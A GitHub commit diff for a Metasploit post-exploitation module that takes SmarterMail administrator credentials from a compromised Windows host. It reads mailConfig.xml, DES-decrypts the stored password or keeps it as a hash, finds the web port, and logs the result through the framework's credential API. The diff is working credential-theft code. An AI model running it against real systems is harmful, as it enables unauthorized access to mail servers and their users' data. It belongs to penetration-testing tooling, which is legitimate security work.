Skip to content

Commit 80f6e90

Browse files
committed
Land rapid7#5463, @wchen-r7 updates smartermail to use the new cred API
2 parents 15f0cf4 + 0d7ef6f commit 80f6e90

File tree

1 file changed

+97
-15
lines changed

1 file changed

+97
-15
lines changed

modules/post/windows/gather/credentials/smartermail.rb

Lines changed: 97 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -66,15 +66,47 @@ def decrypt_des(encrypted)
6666
decipher.update(encrypted) + decipher.final
6767
end
6868

69+
70+
def get_bound_port(data)
71+
port = nil
72+
73+
begin
74+
port = JSON.parse(data)['BoundPort']
75+
rescue JSON::ParserError => e
76+
elog("#{e.class} - Unable to parse BoundPort (#{e.message}) #{e.backtrace * "\n"}")
77+
return nil
78+
end
79+
80+
port
81+
end
82+
83+
84+
def get_remote_drive
85+
@drive ||= expand_path('%SystemDrive%').strip
86+
end
87+
88+
89+
def get_web_server_port
90+
['Program Files (x86)', 'Program Files'].each do |program_dir|
91+
path = %Q|#{get_remote_drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Web Server\\Settings.json|.strip
92+
if file?(path)
93+
data = read_file(path)
94+
return get_bound_port(data)
95+
end
96+
end
97+
98+
return nil
99+
end
100+
101+
69102
#
70103
# Find SmarterMail 'mailConfig.xml' config file
71104
#
72105
def get_mail_config_path
73106
found_path = ''
74-
drive = expand_path('%SystemDrive%').strip
75107

76108
['Program Files (x86)', 'Program Files'].each do |program_dir|
77-
path = %Q|#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip
109+
path = %Q|#{get_remote_drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip
78110
vprint_status "#{peer} - Checking for SmarterMail config file: #{path}"
79111
if file?(path)
80112
found_path = path
@@ -106,12 +138,56 @@ def get_smartermail_creds(path)
106138
end
107139

108140
username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
109-
password = data.match(/<sysAdminPassword>(.+)<\/sysAdminPassword>/)
110-
result['username'] = username[1] unless username.nil?
111-
result['password'] = decrypt_des(Rex::Text.decode_base64(password[1])) unless password.nil?
141+
password = data.scan(/<(sysAdminPassword|sysAdminPasswordHash)>(.+)<\/(sysAdminPassword|sysAdminPasswordHash)>/).flatten[1]
142+
143+
result[:username] = username[1] unless username.nil?
144+
145+
if password
146+
begin
147+
result[:password] = decrypt_des(Rex::Text.decode_base64(password))
148+
result[:private_type] = :password
149+
rescue OpenSSL::Cipher::CipherError
150+
result[:password] = password
151+
result[:private_type] = :nonreplayable_hash
152+
result[:jtr_format] = 'des'
153+
end
154+
end
155+
112156
result
113157
end
114158

159+
def report_cred(opts)
160+
service_data = {
161+
address: opts[:ip],
162+
port: opts[:port],
163+
service_name: opts[:service_name],
164+
protocol: 'tcp',
165+
workspace_id: myworkspace_id
166+
}
167+
168+
credential_data = {
169+
post_reference_name: self.refname,
170+
session_id: session_db_id,
171+
origin_type: :session,
172+
private_data: opts[:password],
173+
private_type: opts[:private_type],
174+
username: opts[:user]
175+
}
176+
177+
if opts[:private_type] == :nonreplayable_hash
178+
credential_data.merge!(jtr_format: opts[:jtr_format])
179+
end
180+
181+
credential_data.merge!(service_data)
182+
183+
login_data = {
184+
core: create_credential(credential_data),
185+
status: Metasploit::Model::Login::Status::UNTRIED,
186+
}.merge(service_data)
187+
188+
create_credential_login(login_data)
189+
end
190+
115191
#
116192
# Find the config file, extract the encrypted password and decrypt it
117193
#
@@ -125,21 +201,27 @@ def run
125201

126202
# retrieve username and decrypted password from config file
127203
result = get_smartermail_creds(config_path)
128-
if result['password'].nil?
204+
if result[:password].nil?
129205
print_error "#{peer} - Could not decrypt password string"
130206
return
131207
end
132208

133209
# report result
134-
user = result['username']
135-
pass = result['password']
210+
port = get_web_server_port || 9998 # Default is 9998
211+
user = result[:username]
212+
pass = result[:password]
213+
type = result[:private_type]
214+
format = result[:jtr_format]
136215
print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'"
137-
report_auth_info(
138-
:host => r_host,
139-
:sname => 'http',
140-
:user => user,
141-
:pass => pass,
142-
:source_id => session.db_record ? session.db_record.id : nil,
143-
:source_type => 'vuln')
216+
217+
report_cred(
218+
ip: r_host,
219+
port: port,
220+
service_name: 'http',
221+
user: user,
222+
password: pass,
223+
private_type: type,
224+
jtr_format: format
225+
)
144226
end
145227
end

0 commit comments

Comments
 (0)